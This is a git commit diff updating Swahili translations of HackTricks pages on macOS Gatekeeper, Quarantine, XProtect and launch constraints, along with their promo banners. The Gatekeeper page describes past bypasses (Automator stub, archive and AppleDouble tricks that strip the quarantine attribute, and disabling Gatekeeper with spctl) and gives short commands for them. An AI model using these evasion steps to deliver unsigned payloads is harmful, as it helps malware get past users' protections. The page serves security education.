mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
Translator
parent
16744cdc11
commit
25fa8bab6b
20 changed files with 719 additions and 577 deletions
|
|
@ -1,16 +1,19 @@
|
|||
# macOS Gatekeeper / Quarantine / XProtect
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
@ -20,27 +23,27 @@
|
|||
|
||||
**Gatekeeper** ni kipengele cha usalama kilichoundwa kwa mifumo ya uendeshaji ya Mac, kilichokusudia kuhakikisha kwamba watumiaji **wanatumia tu programu zinazotegemewa** kwenye mifumo yao. Inafanya kazi kwa **kuhakiki programu** ambayo mtumiaji anapakua na kujaribu kufungua kutoka **vyanzo vya nje ya Duka la Programu**, kama vile programu, plug-in, au kifurushi cha installer.
|
||||
|
||||
Mekaniki kuu ya Gatekeeper inategemea **mchakato wa uthibitisho**. Inakagua ikiwa programu iliyopakuliwa **imeandikwa na mendelezi anayekubalika**, kuhakikisha uhalali wa programu hiyo. Zaidi ya hayo, inathibitisha ikiwa programu hiyo **imeandikishwa na Apple**, ikithibitisha kwamba haina maudhui mabaya yanayojulikana na haijabadilishwa baada ya kuandikishwa.
|
||||
Mekaniki kuu ya Gatekeeper iko katika mchakato wake wa **uthibitishaji**. Inakagua ikiwa programu iliyopakuliwa **imeandikwa na mendelezi anayejulikana**, kuhakikisha uhalali wa programu hiyo. Zaidi ya hayo, inathibitisha ikiwa programu hiyo **imeandikishwa na Apple**, ikithibitisha kwamba haina maudhui mabaya yanayojulikana na haijabadilishwa baada ya kuandikishwa.
|
||||
|
||||
Zaidi ya hayo, Gatekeeper inaimarisha udhibiti wa mtumiaji na usalama kwa **kuwataka watumiaji kuidhinisha ufunguzi** wa programu iliyopakuliwa kwa mara ya kwanza. Ulinzi huu husaidia kuzuia watumiaji wasikimbilie kuendesha msimbo wa utendaji ambao unaweza kuwa na madhara ambao wanaweza kuwa wameukosea kwa faili ya data isiyo na madhara.
|
||||
Zaidi ya hayo, Gatekeeper inaimarisha udhibiti wa mtumiaji na usalama kwa **kuwataka watumiaji kuidhinisha ufunguzi** wa programu iliyopakuliwa kwa mara ya kwanza. Ulinzi huu husaidia kuzuia watumiaji kuendesha kwa bahati mbaya msimbo wa utendaji ambao wanaweza kuwa wameukosea kwa faili ya data isiyo na madhara.
|
||||
|
||||
### Application Signatures
|
||||
|
||||
Saini za programu, pia zinajulikana kama saini za msimbo, ni sehemu muhimu ya miundombinu ya usalama ya Apple. Zinatumika **kuhakiki utambulisho wa mwandishi wa programu** (mendelezi) na kuhakikisha kwamba msimbo haujabadilishwa tangu ilipotiwa mwisho.
|
||||
Sahihi za programu, pia zinajulikana kama sahihi za msimbo, ni sehemu muhimu ya miundombinu ya usalama ya Apple. Zinatumika **kuhakiki utambulisho wa mwandishi wa programu** (mendelezi) na kuhakikisha kwamba msimbo haujabadilishwa tangu ilipotiwa mwisho.
|
||||
|
||||
Hapa kuna jinsi inavyofanya kazi:
|
||||
Hivi ndivyo inavyofanya kazi:
|
||||
|
||||
1. **Kusaini Programu:** Wakati mendelezi yuko tayari kusambaza programu yao, **wanasaini programu hiyo kwa kutumia funguo binafsi**. Funguo hii binafsi inahusishwa na **cheti ambacho Apple inatoa kwa mendelezi** wanapojisajili katika Programu ya Mendelezi ya Apple. Mchakato wa kusaini unajumuisha kuunda hash ya kificho ya sehemu zote za programu na kuificha hash hii kwa funguo binafsi ya mendelezi.
|
||||
2. **Kusambaza Programu:** Programu iliyosainiwa kisha inasambazwa kwa watumiaji pamoja na cheti cha mendelezi, ambacho kinafunguo ya umma inayohusiana.
|
||||
1. **Kusaini Programu:** Wakati mendelezi yuko tayari kusambaza programu yao, wanachukua **kusaini programu kwa kutumia funguo ya kibinafsi**. Funguo hii ya kibinafsi inahusishwa na **cheti ambacho Apple inatoa kwa mendelezi** wanapojisajili katika Mpango wa Mendelezi wa Apple. Mchakato wa kusaini unajumuisha kuunda hash ya kijiografia ya sehemu zote za programu na kuificha hash hii kwa funguo ya kibinafsi ya mendelezi.
|
||||
2. **Kusambaza Programu:** Programu iliyosainiwa kisha inasambazwa kwa watumiaji pamoja na cheti cha mendelezi, ambacho kinafunguo ya umma inayolingana.
|
||||
3. **Kuhakiki Programu:** Wakati mtumiaji anapakua na kujaribu kuendesha programu, mfumo wa uendeshaji wa Mac unatumia funguo ya umma kutoka kwa cheti cha mendelezi kufichua hash. Kisha inarejesha hash kulingana na hali ya sasa ya programu na kulinganisha hii na hash iliyofichuliwa. Ikiwa zinakubaliana, inamaanisha **programu hiyo haijabadilishwa** tangu mendelezi aliposaini, na mfumo unaruhusu programu hiyo kuendesha.
|
||||
|
||||
Saini za programu ni sehemu muhimu ya teknolojia ya Gatekeeper ya Apple. Wakati mtumiaji anajaribu **kufungua programu iliyopakuliwa kutoka mtandao**, Gatekeeper inathibitisha saini ya programu. Ikiwa imesainiwa kwa cheti kilichotolewa na Apple kwa mendelezi anayejulikana na msimbo haujabadilishwa, Gatekeeper inaruhusu programu hiyo kuendesha. Vinginevyo, inazuia programu hiyo na kumjulisha mtumiaji.
|
||||
Sahihi za programu ni sehemu muhimu ya teknolojia ya Gatekeeper ya Apple. Wakati mtumiaji anajaribu **kufungua programu iliyopakuliwa kutoka mtandao**, Gatekeeper inathibitisha sahihi ya programu. Ikiwa imesainiwa na cheti kilichotolewa na Apple kwa mendelezi anayejulikana na msimbo haujabadilishwa, Gatekeeper inaruhusu programu hiyo kuendesha. Vinginevyo, inazuia programu hiyo na kumjulisha mtumiaji.
|
||||
|
||||
Kuanzia macOS Catalina, **Gatekeeper pia inakagua ikiwa programu hiyo imeandikishwa** na Apple, ikiongeza safu ya ziada ya usalama. Mchakato wa kuandikishwa unakagua programu hiyo kwa masuala ya usalama yanayojulikana na msimbo mbaya, na ikiwa ukaguzi huu unakubalika, Apple inaongeza tiketi kwa programu ambayo Gatekeeper inaweza kuithibitisha.
|
||||
|
||||
#### Check Signatures
|
||||
|
||||
Wakati wa kuangalia **kielelezo cha malware** unapaswa kila wakati **kuangalia saini** ya binary kwani **mendelezi** aliyesaini inaweza kuwa tayari **ina uhusiano** na **malware.**
|
||||
Wakati wa kuangalia **kielelezo cha malware** unapaswa kila wakati **kuangalia sahihi** ya binary kwani **mendelezi** aliyesaini inaweza kuwa tayari **ina uhusiano** na **malware.**
|
||||
```bash
|
||||
# Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
|
@ -59,11 +62,11 @@ codesign -s <cert-name-keychain> toolsdemo
|
|||
```
|
||||
### Notarization
|
||||
|
||||
Mchakato wa notarization wa Apple unatumika kama kinga ya ziada kulinda watumiaji kutokana na programu zinazoweza kuwa na madhara. Inahusisha **mwandishi kuwasilisha programu yao kwa ajili ya uchunguzi** na **Huduma ya Notary ya Apple**, ambayo haipaswi kuchanganywa na App Review. Huduma hii ni **mfumo wa kiotomatiki** unaochunguza programu iliyowasilishwa kwa uwepo wa **maudhui mabaya** na masuala yoyote yanayoweza kutokea na saini ya msimbo.
|
||||
Mchakato wa notarization wa Apple unatumika kama kinga ya ziada kulinda watumiaji kutokana na programu zinazoweza kuwa na madhara. Inahusisha **mwandishi kuwasilisha programu yao kwa uchunguzi** na **Huduma ya Notary ya Apple**, ambayo haipaswi kuchanganywa na Mapitio ya Programu. Huduma hii ni **mfumo wa kiotomatiki** unaochambua programu iliyowasilishwa kwa uwepo wa **maudhui mabaya** na masuala yoyote yanayoweza kutokea na saini ya msimbo.
|
||||
|
||||
Ikiwa programu hiyo **itapita** uchunguzi huu bila kuibua wasiwasi wowote, Huduma ya Notary inaunda tiketi ya notarization. Mwandishi anahitajika **kuunganisha tiketi hii na programu yao**, mchakato unaojulikana kama 'stapling.' Zaidi ya hayo, tiketi ya notarization pia inachapishwa mtandaoni ambapo Gatekeeper, teknolojia ya usalama ya Apple, inaweza kuipata.
|
||||
Ikiwa programu hiyo **inapita** uchunguzi huu bila kuibua wasiwasi wowote, Huduma ya Notary inaunda tiketi ya notarization. Mwandishi anahitajika **kuambatanisha tiketi hii na programu yao**, mchakato unaojulikana kama 'stapling.' Zaidi ya hayo, tiketi ya notarization pia inachapishwa mtandaoni ambapo Gatekeeper, teknolojia ya usalama ya Apple, inaweza kuipata.
|
||||
|
||||
Wakati wa usakinishaji au utekelezaji wa kwanza wa programu na mtumiaji, uwepo wa tiketi ya notarization - iwe imeunganishwa na executable au kupatikana mtandaoni - **inawaarifu Gatekeeper kwamba programu hiyo imetolewa na Apple**. Kama matokeo, Gatekeeper inaonyesha ujumbe wa maelezo katika dirisha la uzinduzi wa awali, ikionyesha kwamba programu hiyo imefanyiwa ukaguzi wa maudhui mabaya na Apple. Mchakato huu hivyo huongeza ujasiri wa mtumiaji katika usalama wa programu wanazosakinisha au kuendesha kwenye mifumo yao.
|
||||
Wakati wa usakinishaji au utekelezaji wa kwanza wa programu na mtumiaji, uwepo wa tiketi ya notarization - iwe imeunganishwa na executable au kupatikana mtandaoni - **inaarifu Gatekeeper kwamba programu hiyo imetolewa na Apple**. Kama matokeo, Gatekeeper inaonyesha ujumbe wa maelezo katika dirisha la uzinduzi wa awali, ikionyesha kwamba programu hiyo imefanyiwa ukaguzi wa maudhui mabaya na Apple. Mchakato huu hivyo huongeza ujasiri wa mtumiaji katika usalama wa programu wanazosakinisha au kuendesha kwenye mifumo yao.
|
||||
|
||||
### Enumerating GateKeeper
|
||||
|
||||
|
|
@ -114,7 +117,7 @@ Au unaweza kuorodhesha taarifa za awali kwa:
|
|||
```bash
|
||||
sudo spctl --list
|
||||
```
|
||||
Chaguzi **`--master-disable`** na **`--global-disable`** za **`spctl`** zita **ondoa** kabisa ukaguzi huu wa saini:
|
||||
Chaguzi **`--master-disable`** na **`--global-disable`** za **`spctl`** zitakomesha kabisa **kuangalia** saini hizi:
|
||||
```bash
|
||||
# Disable GateKeeper
|
||||
spctl --global-disable
|
||||
|
|
@ -184,7 +187,7 @@ xattr file.png
|
|||
com.apple.macl
|
||||
com.apple.quarantine
|
||||
```
|
||||
Angalia **thamani** ya **sifa** **panuliwa** na pata programu iliyoandika sifa ya karantini na:
|
||||
Angalia **thamani** ya **sifa** **panua** na pata programu iliyoandika sifa ya karantini na:
|
||||
```bash
|
||||
xattr -l portada.png
|
||||
com.apple.macl:
|
||||
|
|
@ -302,7 +305,7 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
XProtect iko katika. SIP iliyo na ulinzi mahali katika **/Library/Apple/System/Library/CoreServices/XProtect.bundle** na ndani ya bundle unaweza kupata taarifa ambazo XProtect inatumia:
|
||||
XProtect iko katika. SIP iliyo na ulinzi mahali katika **/Library/Apple/System/Library/CoreServices/XProtect.bundle** na ndani ya bundle unaweza kupata taarifa XProtect inatumia:
|
||||
|
||||
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Inaruhusu msimbo wenye cdhashes hizo kutumia haki za zamani.
|
||||
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Orodha ya plugins na nyongeza ambazo haziruhusiwi kupakia kupitia BundleID na TeamID au kuashiria toleo la chini.
|
||||
|
|
@ -317,9 +320,9 @@ Kumbuka kwamba kuna App nyingine katika **`/Library/Apple/System/Library/CoreSer
|
|||
Kumbuka kwamba Gatekeeper **haiendeshwi kila wakati** unapotekeleza programu, ni _**AppleMobileFileIntegrity**_ (AMFI) tu itakay **thibitisha saini za msimbo wa kutekeleza** unapotekeleza app ambayo tayari imeendeshwa na kuthibitishwa na Gatekeeper.
|
||||
{% endhint %}
|
||||
|
||||
Hivyo, hapo awali ilikuwa inawezekana kutekeleza app ili kuikatia akiba na Gatekeeper, kisha **kubadilisha faili zisizotekelezwa za programu** (kama Electron asar au NIB files) na ikiwa hakuna ulinzi mwingine ulio kuwekwa, programu hiyo ilikuwa **inatekelezwa** na **nyongeza** za **hatari**.
|
||||
Hivyo, hapo awali ilikuwa inawezekana kutekeleza app ili kuikatia akiba na Gatekeeper, kisha **kubadilisha faili zisizotekelezwa za programu** (kama Electron asar au NIB files) na ikiwa hakuna ulinzi mwingine ulio kuwekwa, programu hiyo ilikuwa **ikiendeshwa** na **nyongeza** za **hatari**.
|
||||
|
||||
Hata hivyo, sasa hii haiwezekani kwa sababu macOS **inasitisha kubadilisha faili** ndani ya bundles za programu. Hivyo, ukijaribu shambulio la [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), utagundua kwamba si tena inawezekana kulitumia kwa sababu baada ya kutekeleza app ili kuikatia akiba na Gatekeeper, huwezi kubadilisha bundle. Na ikiwa badala yake unabadilisha jina la saraka ya Contents kuwa NotCon (kama ilivyoonyeshwa katika exploit), kisha kutekeleza binary kuu ya app ili kuikatia akiba na Gatekeeper, itasababisha kosa na haitatekelezwa.
|
||||
Hata hivyo, sasa hii haiwezekani kwa sababu macOS **inasitisha kubadilisha faili** ndani ya bundles za programu. Hivyo, ukijaribu shambulio la [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), utaona kwamba si tena inawezekana kulitumia kwa sababu baada ya kutekeleza app ili kuikatia akiba na Gatekeeper, huwezi kubadilisha bundle. Na ikiwa badala yake unabadilisha jina la saraka ya Contents kuwa NotCon (kama ilivyoonyeshwa katika exploit), kisha kutekeleza binary kuu ya app ili kuikatia akiba na Gatekeeper, itasababisha kosa na haitatekelezwa.
|
||||
|
||||
## Mipango ya Kuepuka Gatekeeper
|
||||
|
||||
|
|
@ -337,7 +340,7 @@ Wakati programu inaundwa na **Automator**, taarifa kuhusu kile inachohitaji kute
|
|||
|
||||
Hivyo, unaweza kufanya `application.app/Contents/MacOS/Automator\ Application\ Stub` **kuashiria kwa kiungo cha alama kwa Automator Application Stub nyingine ndani ya mfumo** na itatekeleza kile kilichomo ndani ya `document.wflow` (script yako) **bila kuamsha Gatekeeper** kwa sababu executable halisi haina xattr ya karantini.
|
||||
|
||||
Mfano wa mahali panatarajiwa: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
|
||||
Mfano wa mahali inatarajiwa: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
|
||||
|
||||
Angalia [**ripoti ya asili**](https://ronmasas.com/posts/bypass-macos-gatekeeper) kwa maelezo zaidi.
|
||||
|
||||
|
|
@ -351,7 +354,7 @@ Check the [**original report**](https://www.jamf.com/blog/jamf-threat-labs-safar
|
|||
|
||||
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
||||
|
||||
Hata kama vipengele ni tofauti, matumizi ya udhaifu huu ni sawa sana na ule wa awali. Katika kesi hii, tutaunda Apple Archive kutoka **`application.app/Contents`** hivyo **`application.app` haitapata sifa ya karantini** wakati inakandamizwa na **Archive Utility**.
|
||||
Hata kama vipengele ni tofauti, matumizi ya udhaifu huu ni sawa sana na ule wa awali. Katika kesi hii, tutaunda Apple Archive kutoka **`application.app/Contents`** ili **`application.app` isipate sifa ya karantini** wakati inakunjwa na **Archive Utility**.
|
||||
```bash
|
||||
aa archive -d test.app/Contents -o test.app.aar
|
||||
```
|
||||
|
|
@ -381,7 +384,7 @@ python3 -m http.server
|
|||
|
||||
Angalia [**ripoti asilia**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) kwa maelezo zaidi.
|
||||
|
||||
Kumbuka kwamba hii pia inaweza kutumika kwa AppleArchives:
|
||||
Kumbuka kwamba hii inaweza pia kutumika kwa AppleArchives:
|
||||
```bash
|
||||
mkdir app
|
||||
touch app/test
|
||||
|
|
@ -409,7 +412,7 @@ aa archive -d test/ -o test.aar
|
|||
{% endcode %}
|
||||
|
||||
Kuweza kuunda faili ambayo haitakuwa na sifa ya karantini, ilikuwa **inawezekana kupita Gatekeeper.** Njia ilikuwa **kuunda programu ya faili la DMG** kwa kutumia kanuni ya jina la AppleDouble (anza nayo `._`) na kuunda **faili inayoonekana kama kiungo cha alama kwa faili hii iliyofichwa** bila sifa ya karantini.\
|
||||
Wakati **faili la dmg linatekelezwa**, kwa kuwa halina sifa ya karantini litapita **Gatekeeper**.
|
||||
Wakati **faili la dmg linatekelezwa**, kwa kuwa halina sifa ya karantini litapita **Gatekeeper.**
|
||||
```bash
|
||||
# Create an app bundle with the backdoor an call it app.app
|
||||
|
||||
|
|
@ -436,7 +439,7 @@ aa archive -d s/ -o app.aar
|
|||
|
||||
### Zuia Quarantine xattr
|
||||
|
||||
Katika kifurushi cha ".app" ikiwa xattr ya quarantine haijongezwa, wakati wa kuendesha **Gatekeeper haitasababisha**.
|
||||
Katika kifurushi cha ".app" ikiwa xattr ya quarantine haijaongezwa, wakati wa kuendesha **Gatekeeper haitasababisha**.
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
|||
|
|
@ -1,100 +1,101 @@
|
|||
# Vizuizi vya Kuzindua/Mazingira ya macOS & Cache ya Imani
|
||||
# macOS Launch/Environment Constraints & Trust Cache
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
|
||||
*
|
||||
* .
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Taarifa Msingi
|
||||
## Basic Information
|
||||
|
||||
Vizuizi vya kuzindua katika macOS vilianzishwa ili kuimarisha usalama kwa **kudhibiti jinsi, nani, na kutoka wapi mchakato unaweza kuanzishwa**. Ilianzishwa katika macOS Ventura, hutoa mfumo ambao unagawa **kila faili ya mfumo katika makundi tofauti ya vizuizi**, ambavyo vimefafanuliwa ndani ya **cache ya imani**, orodha inayojumuisha faili za mfumo na hash zao husika. Vizuizi hivi vinahusisha kila faili ya kutekelezwa ndani ya mfumo, na kuhusisha seti ya **kanuni** zinazoelezea mahitaji ya **kuzindua faili fulani**. Kanuni hizi zinajumuisha vizuizi vya ndani ambavyo faili ya kutekelezwa lazima itimize, vizuizi vya mzazi vinavyohitajika kutimizwa na mchakato wake mzazi, na vizuizi vya jukumu vinavyopaswa kuzingatiwa na vyombo vingine vinavyohusika.
|
||||
Kikomo cha uzinduzi katika macOS kilianzishwa ili kuboresha usalama kwa **kudhibiti jinsi, nani, na kutoka wapi mchakato unaweza kuanzishwa**. Ilianzishwa katika macOS Ventura, inatoa mfumo ambao unagawanya **kila binary ya mfumo katika makundi tofauti ya vizuizi**, ambavyo vimefafanuliwa ndani ya **cache ya kuaminika**, orodha inayojumuisha binaries za mfumo na hash zao husika. Vizuizi hivi vinapanuka kwa kila binary inayoweza kutekelezwa ndani ya mfumo, ikihusisha seti ya **kanuni** zinazofafanua mahitaji ya **kuanzisha binary maalum**. Kanuni hizo zinajumuisha vizuizi vya ndani ambavyo binary lazima ikidhi, vizuizi vya mzazi vinavyohitajika kukidhi na mchakato wake wa mzazi, na vizuizi vya kuwajibika vinavyopaswa kufuatwa na vyombo vingine vinavyohusiana.
|
||||
|
||||
Mfumo huu unahusisha programu za watu wa tatu kupitia **Vizuizi vya Mazingira**, kuanzia macOS Sonoma, kuruhusu watengenezaji kulinda programu zao kwa kutoa **seti ya funguo na thamani kwa vizuizi vya mazingira**.
|
||||
Mekaniki hii inapanuka kwa programu za upande wa tatu kupitia **Vizuizi vya Mazingira**, kuanzia macOS Sonoma, ikiruhusu wabunifu kulinda programu zao kwa kubainisha **seti ya funguo na thamani za vizuizi vya mazingira.**
|
||||
|
||||
Unafafanua **vizuizi vya kuzindua mazingira na maktaba** katika kamusi za vizuizi ambazo unahifadhi katika faili za **orodha ya mali ya `launchd`**, au katika **faili tofauti za orodha ya mali** ambazo unatumia katika kusaini kanuni.
|
||||
Unafafanua **vizuizi vya mazingira na maktaba ya uzinduzi** katika kamusi za vizuizi ambazo unaziokoa katika **faili za orodha ya mali ya `launchd`**, au katika **faili za orodha ya mali tofauti** ambazo unazitumia katika saini ya msimbo.
|
||||
|
||||
Kuna aina 4 za vizuizi:
|
||||
|
||||
* **Vizuizi vya Ndani**: Vizuizi vinavyotumika kwa faili ya kutekelezwa **inayotumika**.
|
||||
* **Mchakato wa Mzazi**: Vizuizi vinavyotumika kwa **mzazi wa mchakato** (kwa mfano **`launchd`** inayotekeleza huduma ya XP)
|
||||
* **Vizuizi vya Jukumu**: Vizuizi vinavyotumika kwa **mchakato unaotumia huduma** katika mawasiliano ya XPC
|
||||
* **Vizuizi vya Kupakia Maktaba**: Tumia vizuizi vya kupakia maktaba kuelezea sehemu za kanuni ambazo zinaweza kupakiwa
|
||||
* **Vizuizi vya Ndani**: Vizuizi vinavyotumika kwa **binary inayotembea**.
|
||||
* **Mchakato wa Mzazi**: Vizuizi vinavyotumika kwa **mzazi wa mchakato** (kwa mfano **`launchd`** inayoendesha huduma ya XP)
|
||||
* **Vizuizi vya Kuwajibika**: Vizuizi vinavyotumika kwa **mchakato unaoitisha huduma** katika mawasiliano ya XPC
|
||||
* **Vizuizi vya kupakia maktaba**: Tumia vizuizi vya kupakia maktaba kuelezea kwa kuchagua msimbo ambao unaweza kupakiwa
|
||||
|
||||
Kwa hivyo, wakati mchakato unajaribu kuzindua mchakato mwingine - kwa kuita `execve(_:_:_:)` au `posix_spawn(_:_:_:_:_:_:)` - mfumo wa uendeshaji unakagua kwamba **faili ya kutekelezwa** inatimiza **vizuizi vyake vya ndani**. Pia unakagua kwamba **faili ya kutekelezwa ya mchakato wa mzazi** inatimiza **vizuizi vya mzazi** vya faili ya kutekelezwa, na kwamba **faili ya kutekelezwa ya mchakato wa jukumu** inatimiza **vizuizi vya jukumu** vya faili ya kutekelezwa. Ikiwa vizuizi vyovyote vya kuzindua havikutimizwa, mfumo wa uendeshaji hautazindua programu.
|
||||
Hivyo wakati mchakato unajaribu kuanzisha mchakato mwingine — kwa kuita `execve(_:_:_:)` au `posix_spawn(_:_:_:_:_:_:)` — mfumo wa uendeshaji unakagua kwamba **faili inayoweza kutekelezwa** **inakidhi** **vizuizi vyake vya ndani**. Pia inakagua kwamba **mzazi** **wa mchakato** **inayoweza kutekelezwa** **inakidhi** **vizuizi vya mzazi** vya executable, na kwamba **mchakato wa kuwajibika** **inayoweza kutekelezwa** **inakidhi vizuizi vya mchakato wa kuwajibika**. Ikiwa yoyote ya vizuizi hivi vya uzinduzi havikidhi, mfumo wa uendeshaji hauendeshi programu hiyo.
|
||||
|
||||
Ikiwa wakati wa kupakia maktaba sehemu yoyote ya **vizuizi vya maktaba sio kweli**, mchakato wako **haupaki** maktaba.
|
||||
Ikiwa wakati wa kupakia maktaba sehemu yoyote ya **vizuizi vya maktaba haviko sahihi**, mchakato wako **haupaki** maktaba hiyo.
|
||||
|
||||
## Jamii za LC
|
||||
## LC Categories
|
||||
|
||||
LC inajumuisha **ukweli** na **shughuli za mantiki** (na, au..) ambazo zinaunganisha ukweli.
|
||||
LC inaundwa na **ukweli** na **operesheni za kimantiki** (na, au..) zinazounganisha ukweli.
|
||||
|
||||
[**Ukweli ambao LC inaweza kutumia umedokumentiwa**](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints). Kwa mfano:
|
||||
[**Ukweli ambao LC inaweza kutumia umeandikwa**](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints). Kwa mfano:
|
||||
|
||||
* is-init-proc: Thamani ya Boolean inayoonyesha ikiwa faili ya kutekelezwa lazima iwe mchakato wa kuanzisha wa mfumo wa uendeshaji (`launchd`).
|
||||
* is-sip-protected: Thamani ya Boolean inayoonyesha ikiwa faili ya kutekelezwa lazima iwe faili iliyolindwa na Usalama wa Uadilifu wa Mfumo (SIP).
|
||||
* `on-authorized-authapfs-volume:` Thamani ya Boolean inayoonyesha ikiwa mfumo wa uendeshaji umepakia faili ya kutekelezwa kutoka kwenye kizio cha APFS kilichoidhinishwa na kuthibitishwa.
|
||||
* `on-authorized-authapfs-volume`: Thamani ya Boolean inayoonyesha ikiwa mfumo wa uendeshaji umepakia faili ya kutekelezwa kutoka kwenye kizio cha APFS kilichoidhinishwa na kuthibitishwa.
|
||||
* Kizio cha Cryptexes
|
||||
* `on-system-volume:` Thamani ya Boolean inayoonyesha ikiwa mfumo wa uendeshaji umepakia faili ya kutekelezwa kutoka kwenye kizio cha mfumo kinachotumiwa kwa sasa.
|
||||
* is-init-proc: Thamani ya Boolean inayonyesha ikiwa executable lazima iwe mchakato wa kuanzisha wa mfumo wa uendeshaji (`launchd`).
|
||||
* is-sip-protected: Thamani ya Boolean inayonyesha ikiwa executable lazima iwe faili iliyopewa ulinzi na Mfumo wa Uaminifu wa Mfumo (SIP).
|
||||
